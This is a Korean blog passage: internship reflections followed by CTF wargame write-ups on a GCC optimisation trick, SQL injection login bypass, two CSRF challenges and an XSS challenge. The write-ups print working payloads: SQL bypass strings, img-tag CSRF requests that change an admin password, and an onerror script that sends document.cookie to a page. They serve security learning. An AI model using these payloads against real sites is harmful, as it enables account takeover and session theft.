2. 위와 연결되는 맥락으로 질문을 적극적으로 활용하자. 또한 다른 사람의 도움 또한 적극적으로 요청하고 알려주는 걸 잘 흡수하자. 같은 걸 계속 물어보는 건 나쁘지만,, 모르는 걸 물어보는 건 좋은 것 같다. 그리고 그렇게 질문을 할 수 있는 환경을 만들어준 팀원들이 또 고맙다!! 이런 팀에 들어가다니 운이 진짜 좋았다. 그런데 주의해야할 건 내가 할 수 있는 일에 대해서 도움을 요청하지 말기. 이것도 좀 어려운 일이긴 한데.. 항상 자신이 부족하다고 생각하면 자신이 할 수 없을거라고 생각하고 계속 남한테 도움을 요청하고 그렇게 될 수가 있다.. 이건 진짜 나에게도 타인에게도 해를 끼치는 행동같다. 적어도 충분히~ 찾아보고 내가 할 수 있는 일을 다 해보고도 모르겠다 싶을 때 마지막으로 질문을 하려고 노력했다. 그런데 내가 정말 최선을 다했는데도 몰라서 질문했는지는..... 사실 좀 반성해야할 부분인 것 같다. 그래도 다들 적극적으로 질문 환영해주고 특히 질문을 했을 때의 장점은, 내가 모르는 지식을 내가 스스로 찾을 때보다 훨씬 다양한 지식을 얻을 수가 있다. 나는 모르기 때문에 내가 모르는 부분에 대해 찾아보지만, 내가 물어보는 분들은 더 많은 배경지식을 갖고 있기 때문에 더욱 넓은 범위의 지식을 나에게 이야기 해준 경우가 많았다. 내가 알고있는 방법외에도 다른 방법도 많이 알려주시고, 그걸 또 따라하며 나의 지식도 같이 확장되는 경험을 할 수 있었다. 그래서 답변을 해줄 때 그 말을 듣고 있으면 몰랐던 것들을 많이 알게되어서 너무 재밌었고 또 어떻게 이런걸 다 알게 됐을까?? 하는 궁금증이 매번 들게 됐다 ㅋㅋ 그리고 질문을 여러번 하면서 생각한 점은 나도 나중에 다른 사람이 모르는 게 있을 때 이렇게 잘 이끌어주고 도와줘야겠다 거다. 사실 예전 고등학생때는 나에게 질문을 많이 하면, 처음 한 두번은 잘 대답해줬지만 점점 좀 지치게 되었던 것 같다. 그래서 그랬던 나를 반성하고!! 앞으로는 뭐든지 친절하게 알려줘야지.

3. 다양한 도전을 해보고 사람을 만나보자. 이쪽은 되게 좁아서 한다리 건너면 다 아는 사람이라고 한다. 어쨋든 나는 처음 이런 보안 쪽 사람들을 만나보고 했는데, 확실히 학교에 있을때보다 더 많은 것을 보고 경험할 수 있었다. 어쨋든 보안학과지만, 보안학과인데도 모르는 것들이 왜이렇게 많았을까? 음.. 그래서 결론은 커뮤니티? 뭐 이런거의 중요성도 느꼈고~! 많은 사람들을 만나보자 라는 거다.

​

그동안 회사를 다니면서 하루하루가 바쁘고 벅차기도 했고, 그냥 반복되는 일상적인 하루이기도 했다. 그렇지만 돌아보면 하루하루가 새로운걸 알아가고 시도해보는 설레는 하루였었다. 그런 소중한 시간들을 인지하지 못하는 채 시간은 빠르게 흘러 벌써 인턴 수료를 했고 다시 학교로 돌아왔다는게 아직도 잘 믿기지는 않지만 다들 너무 고맙고, 마지막에 리드님이 해주셨던 말처럼 또 다시 곧 뵙기를 바란다.

이건 문제 분류상 기타&포너블에 속한 문제이다. 가중치가 0으로 점수는 없지만 ㅠ 리눅스에 흥미가 생겨서 풀어보았다.

🔎 Stupid GCC 분석

문제 설명은 이러하다.

/home/stupid_gcc

서버에 접속해서 보면 원래는 a.c 파일만 있었다.

gcc a.c를 입력하여 컴파일 해주면 a.out 파일이 생긴다. 그런데 flag 파일이 안생겨서 a.out을 실행을 해봤는데, 무슨 배열이 10번 출력된다.

/home

상위 디렉토리로 이동하여 뭐가 있는지 봤는데,

anonymous 디렉토리와 stupid_gcc 디렉토리가 있었고 anonymous 디렉토리 안은 비어있었다.

/

한 번 더 상위 폴더로 이동할 경우 flag.txt 가 있는 것을 확인할 수 있다.

권한은 아무것도 설정되지 않았다.

+)

참고로 ps를 입력해보면 10초마다 root가 a.out을 실행하고 있는 것을 알 수 있다.

💻 소스코드 분석

소스코드는 직접 cat a.c를 해서 봐도 되고, 올려진 소스코드 다운받아도 된다.

소스는 간단하다.

v1이 10번 반복하는 동안 v2에 v1을 계속 더해주고 printf로 배열값을 출력한다.

가장 중요한 flag는 v2가 10000 이상일 때만 /flag.txt를 읽어서 현재 디렉토리인 /home/stupid_gcc에 flag.txt 파일을 작성해준다. 그러므로 간단히 생각하면, 저 소스코드의 v2 > 10000 을 수정하여 v2 > 50 정도로 바꾸어주면 flag.txt가 실행될 것 같다.

📒 해답

그렇지만 vi나 cat 명령어 등 쓰기를 할 수 있는 권한이 없어서 수정된 소스를 컴파일 하는 방법을 찾지 못했다...

대신 포럼의 글 중 gcc 옵션에서 버그를 발생시키라는 힌트를 보고 gcc 옵션에 대해 찾아보았다.

그 중 -O3 옵션을 발견했다. 왜곡이 발생할 위험 이 있다고 하니 이 옵션을 붙여서 컴파일 해보자.

바로 flag.txt 파일이 생겼다!

a.out 을 실행시켜보면 이렇게 계속 반복문이 수행되고 segmentation fault가 발생한다.

cat flag.txt로 flag 파일을 확인하면 성공 🤗

이번에는 webhacking 중 sql이다. sql이 참 어렵다..

🔎 simple_sqli 분석

문제 설명이다.

들어가보면 나오는 메인 화면이다. 말그대로 Login 화면만 존재한다.

여기에 sql injection을 하여 admin으로 로그인을 해야한다.

💻 소스코드 분석

DATABASE:

먼저 코드를 보면 , database가 존재한다. users table이 있고 컬럼은 userid, userpassword 두 개로 구성된다.

여기서 insert로 두 가지를 넣어준다.

하나는 id=guest, password=guest 인 계정이고 다른 하나는 id=admin, password=랜덤 16바이트 문자열인 계정이다.

login():

다음은 로그인 코드이다. GET으로 login 화면을 보여주고 POST로 id와 password 입력값을 받고 있다.

그런데 여기서 사용자 입력값을 통해 SQL query를 동적으로 생성한다. 동적으로 SQL query를 생성하는 것을 RawQuery라고 한다.

query_db는 위에 나오는 query 질의를 수행하는 함수이다.

그 후 userid 가 admin이면 flag를 출력한다.

즉 우리는 저 쿼리문 질의의 결과로 userid 가 admin이 되도록 해야한다. 하지만 pw를 모르기 때문에, userid=admin만 넣고 pw는 검사하지 않도록하여 우회하는 방법을 사용해보자.

📒 해답

select * from users where userid="{userid}" and userpassword="{userpassword}"

여기서 userid 값으로 여러가지를 줄 수 있다.

1. ID = admin" --

2. ID = admin" or "1 // userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환

3. ID = " or 1 LIMIT 1,1-- // LIMIT 절을 이용하여 두 번째 행인 admin을 반환 (첫 번재 행은 guest)

여러가지 방법으로 우회 시도를 하여 로그인을 하면 플래그를 얻을 수 있다!

+++

_python 코드를 작성하여 직접 admin의 비밀번호를 알아내는 방법도 있다. 그 방법도 나중에 시도해 봐야겠다. _

csrf-1 문제와 유사하게 csrf 공격, 즉 사용자의 session 정보를 이용하여 악의적인 요청을 하도록 만드는 문제이다.

코드 분석은 까다롭지만 exploit은 쉽다.

🔎 csrf-2 분석

들어가면 처음 보이는 화면

vuln(csrf) page, flag page, login page 총 3개의 페이지로 이동을 할 수 있다.

vuln(csrf) page는 이전의 문제들처럼 취약점이 존재하는 공격 대상 링크이다.

flag 페이지에는 vuln 페이지로 연결되는 url 링크를 적어서 제출할 수 있다.

마지막으로 login 페이지이다. 이전 문제들에서는 보지 못한 새로운 페이지이다.

💻 소스코드 분석

users

먼저 users 에 대한 딕셔너리가 있다. guest는 guest, admin은 FLAG인데 이게 아마 로그인에 필요한 회원 정보이고 각각 ID, PW 값인듯하다.

guest로 로그인 해보면 이렇게 된다.

index():

index 페이지를 잘 보면, rendering 할 때의 text를 username에 따라서 다르게 표시하고 있다.

기본적으로는 pleas login username이 admin이 아닐 경우 (guest) you are not an admin admin일 경우 flag is [FLAG]로 flag를 출력한다.

여기서 admin 계정으로 로그인을 해야겠다는 생각을 할 수 있다. 그런데 우리는 FLAG를 알기위해 admin으로 로그인을 해야하는데, admin의 비밀번호가 FLAG인 상황..

코드를 끝까지 살펴보면 chang_password라는 함수가 있다.

change_password():

이 페이지는 존재하긴 하지만 숨겨져있는 페이지이다.

이 페이지가 존재하는지 확인하기 위해 링크 끝에 /change_password를 입력하여 이동해보면 잘못된 url 페이지가 뜨는 것이 아닌, 코드대로 index.html로 이동하는 것을 알 수 있다.

그럼 이 페이지로 이동하여 admin의 pw를 바꿔주어 로그인을 하면 될 것 같다.

좀 더 자세히 소스코드를 분석해보자.

def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]        

코드를 보면 인자로 pw를 받아오고 cookie 값에서 sessionid 라는 것을 받아온다. 그 후 session_storage에 session_id 값으로 저장된 것을 찾아 username으로 설정한다.

그럼 우선 cookie 값에 admin의 sessionid가 저장되어 있어야 하는데 이 부분의 쿠키값이 언제 만들어지고 추가가 되는 걸까?

flag():

바로 flag 페이지를 확인해보면, 여기서 제출을 눌러 POST를 할 때 session_id로 랜덤 헥사값이 만들어지고 이 값이 다시 session_storage에 admin이라고 저장이 된다.

그리고 이 session_id 값은 우리가 입력한 param 과 함께 check_csrf 함수로 전달 된다.

check_csrf() & read_url() :

이 부분의 코드는 많이 봐와서 익숙하다. check_csrf에서 전달한 session_id 가 cookie가 되고 입력한 param을 url 형태로 만들어준다. 주소는 127.0.0.1:8000으로 우리가 접근할 수 없는 환경을 의미한다.

다음으로 read_url에서는 먼저 127.0.0.1:8000 url을 열고 거기에 cookie를 추가한다. cookie에는 admin의 session을 의미하는 랜덤 헥사값이 들어갈 것이다. 그 다음 우리가 입력한 url을 연다.

📒 해답

결국 우리는 admin의 sessionid가 저장된 url에서 change_password 페이지로 이동하여 pw를 바꾸도록 유도해야한다.

127.0.0.1:8000은 우리가 접근할 수 없기 때문에 flag 페이지에서 cookie에 admin의 sessionid를 저장시킨 후의 (cookie 값 추가는 코드를 보면 알아서 한다.) 127.0.0.1:8000으로 이동하게 하고 change_password 페이지로 이동하여 pw=1234 와 같이 바꿔주도록 exploit을 작성했다.

<img src="http://127.0.0.1:8000/change_password?pw=1234">

```

이걸 입력하고 제출하면 pw 변경 성공!

정상적으로 비밀번호가 바뀌었다.

flag 탈취 성공 💗

csrf 공격을 통해 관리자의 권한을 탈취하여 악용하는 문제!

강의가 있어서 보고 푸니 수월 했다.

🔎 csrf-1 분석

먼저 xss 문제와 거의 비슷한 화면 이번에는 notice flag 라는 페이지가 추가됐다.

notice flag 페이지에 들어가니 주소가 admin/notice_flag로 바뀐 것을 볼 수 있다.

이 페이지가 admin만 접속할 수 있는 그런 페이지인 듯 하다.

💻 소스코드 분석

vuln() :

여기에서 새로운 filter를 볼 수 있다. frame, script, on 이 세 개의 문자열이 들어가면 *로 치환이 되도록 함수가 작성되었다. 즉, script, frame, on을 피해서 expoit을 작성해주자.

flag():

flag는 이전 문제들과 비슷한데 제출 버튼을 누르면 param 값을 인자로 하여 check_csrf 함수를 실행한다. check_csrf 함수를 살펴보자.

check_csrf():

param 값과 cookie 값을 받는다. url을 127.0.0.1:8000, 로컬호스트의 페이지로 접속을 하고 vuln 페이지로 설정한다. 그 후 read_url 함수에 url값과 cookie 값을 넘겨준다.

read_url():

웹 드라이버로 크롬을 연다. get 함수로 로컬호스트로 접속을 한다. 그 후 cookie를 추가하고 다시 get 함수로 우리가 입력한 param이 들어있는 url에 접속을 한다.

사실 cookie값은 여기서 중요하지 않고, 이때 어떤 param을 입력하여 어떠한 url에 접속할지가 중요한데 코드에서 FLAG가 저장된 부분을 찾아보자.

admin_notice_flag():

이 함수에서 조건을 만족할 경우 memo_text 에 flag 를 추가하도록 하고있다. 조건은 두가지인데 먼저 접속 ip가 로컬 호스트 ip 인지, userid 값이 admin 인지를 확인하고 있다.

우리는 param 값으로 127.0.0.1:8000 ip로 접속을 하면서 userid=admin 으로 접속을 하도록 하는 공격문을 작성해주면 된다.

memo():

memo 값을 받아와서 그대로 화면에 출력해준다. 전의 문제들과 조금 다른 점은 memo 값은 global로 선언되어있고, text 변수를 따로 만들어서 계속 이어붙이는 형식. memo 페이지에 들어가면 주소에 memo 가 hello라고 입력되어 있으므로 접속할 때마다 hello가 계속 늘어난다.

📒 해답

script, frame, on 이 막혀있으므로 다른 태그를 사용해보자.

img 태그를 사용하여 src로 우리가 원하는 공격 링크를 삽입하고 그 링크에 접속하도록 할 것이다.

<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin">

```

라고 입력해주자.

제출을 누르고 memo 페이지에 들어가보면 flag가 적혀서 출력된다! 성공 🌟

이번에도 비슷한 문제이다.

🔎 XXS-2 분석

이번에도 똑같은 구조로 되어있다.

그런데 이번에는 vuln 페이지에 들어가도 alert 창이 뜨지 않는다. script 태그가 막아져 있는 듯하다.

💻 소스코드 분석

소스코드도 저번과 똑같다. vuln.html의 코드가 살짝 바뀐 것 같다. 저번과 같은 코드이므로 분석을 생략하겠다.

📒 해답

우선 script 태그가 막혔기 때문에, 되는 태그를 찾아 보았다. xss 공격에서 자주 쓰이는 img 태그가 먹힌다.

onerror 속성을 이용하여 아무 경로나 넣은 후 에러 발생 시 alert 창을 띄울 수 있다.

이것을 이용해서 param 값으로

<img src="" onerror="location.href='http//127.0.0.1:8000/memo?memo='+document.cookie">

라고 입력해주었다.

나는 몇 번 시도했는데 안되서 애를 먹었는데, 우선 onerror 다음에 전체를 큰 따옴표로 감싸야하고 큰 따옴표 안에는 작은 따옴표를 써줘야한다. 이런 실수를 하지 말길...

어쨌든 성공! 🌟